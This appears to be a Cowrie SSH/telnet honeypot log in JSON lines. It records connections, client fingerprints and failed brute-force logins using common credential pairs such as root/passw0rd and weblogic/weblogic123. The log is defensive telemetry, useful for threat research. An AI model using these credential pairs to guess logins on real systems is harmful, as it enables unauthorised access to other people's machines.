{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:25.452938Z","src_ip":"192.109.200.237","session":"d009bfd512fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:26.537433Z","src_ip":"192.109.200.237","session":"d009bfd512fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.25501012802124,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:26.959792Z","src_ip":"152.42.224.71","session":"7fb9d830a68c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56898,"dst_ip":"159.203.135.109","dst_port":22,"session":"db41ced0b88c","protocol":"ssh","message":"New connection: 192.109.200.237:56898 (159.203.135.109:22) [session: db41ced0b88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:28.430085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:28.481535Z","src_ip":"192.109.200.237","session":"db41ced0b88c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:28.616101Z","src_ip":"192.109.200.237","session":"db41ced0b88c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:28.866432Z","src_ip":"192.109.200.237","session":"db41ced0b88c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:29.951795Z","src_ip":"192.109.200.237","session":"db41ced0b88c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44754,"dst_ip":"159.203.135.109","dst_port":22,"session":"80a22f7ac7a8","protocol":"ssh","message":"New connection: 192.109.200.237:44754 (159.203.135.109:22) [session: 80a22f7ac7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:31.865701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:31.871603Z","src_ip":"192.109.200.237","session":"80a22f7ac7a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:31.953762Z","src_ip":"192.109.200.237","session":"80a22f7ac7a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:32.200085Z","src_ip":"192.109.200.237","session":"80a22f7ac7a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:33.285603Z","src_ip":"192.109.200.237","session":"80a22f7ac7a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34248,"dst_ip":"10.17.0.5","dst_port":23,"session":"59e29141207c","protocol":"telnet","message":"New connection: 152.42.224.71:34248 (10.17.0.5:23) [session: 59e29141207c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:34.660859Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44760,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae51243c4939","protocol":"ssh","message":"New connection: 192.109.200.237:44760 (159.203.135.109:22) [session: ae51243c4939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:35.030107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:35.038683Z","src_ip":"192.109.200.237","session":"ae51243c4939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:35.120730Z","src_ip":"192.109.200.237","session":"ae51243c4939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:35.367987Z","src_ip":"192.109.200.237","session":"ae51243c4939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:36.544313Z","src_ip":"192.109.200.237","session":"ae51243c4939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44764,"dst_ip":"159.203.135.109","dst_port":22,"session":"845a0ce93872","protocol":"ssh","message":"New connection: 192.109.200.237:44764 (159.203.135.109:22) [session: 845a0ce93872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:38.329478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:38.333724Z","src_ip":"192.109.200.237","session":"845a0ce93872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:38.415221Z","src_ip":"192.109.200.237","session":"845a0ce93872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:38.944178Z","src_ip":"192.109.200.237","session":"845a0ce93872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:40.029209Z","src_ip":"192.109.200.237","session":"845a0ce93872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":45064,"dst_ip":"10.17.0.5","dst_port":22,"session":"5514347cf1a4","protocol":"ssh","message":"New connection: 103.172.78.219:45064 (10.17.0.5:22) [session: 5514347cf1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:40.857220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:40.861714Z","src_ip":"103.172.78.219","session":"5514347cf1a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:41.135149Z","src_ip":"103.172.78.219","session":"5514347cf1a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44942,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e343183decb","protocol":"ssh","message":"New connection: 192.109.200.237:44942 (159.203.135.109:22) [session: 0e343183decb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:41.806607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:41.817944Z","src_ip":"192.109.200.237","session":"0e343183decb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:41.890064Z","src_ip":"192.109.200.237","session":"0e343183decb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timosha","message":"login attempt [root/timosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:41.956056Z","src_ip":"103.172.78.219","session":"5514347cf1a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:42.209973Z","src_ip":"192.109.200.237","session":"0e343183decb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:43.237225Z","src_ip":"103.172.78.219","session":"5514347cf1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:43.295094Z","src_ip":"192.109.200.237","session":"0e343183decb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48650,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d68ddd0355b","protocol":"telnet","message":"New connection: 152.42.224.71:48650 (10.17.0.5:23) [session: 1d68ddd0355b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:44.150506Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44956,"dst_ip":"159.203.135.109","dst_port":22,"session":"3744d1431728","protocol":"ssh","message":"New connection: 192.109.200.237:44956 (159.203.135.109:22) [session: 3744d1431728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:45.151016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:45.155426Z","src_ip":"192.109.200.237","session":"3744d1431728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:45.237646Z","src_ip":"192.109.200.237","session":"3744d1431728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:45.483584Z","src_ip":"192.109.200.237","session":"3744d1431728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:46.569107Z","src_ip":"192.109.200.237","session":"3744d1431728","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44970,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f7eaf287e23","protocol":"ssh","message":"New connection: 192.109.200.237:44970 (159.203.135.109:22) [session: 3f7eaf287e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:48.415086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:48.419087Z","src_ip":"192.109.200.237","session":"3f7eaf287e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:48.501016Z","src_ip":"192.109.200.237","session":"3f7eaf287e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:48.749643Z","src_ip":"192.109.200.237","session":"3f7eaf287e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:33:49.947176Z","src_ip":"192.109.200.237","session":"3f7eaf287e23","protocol":"ssh"}
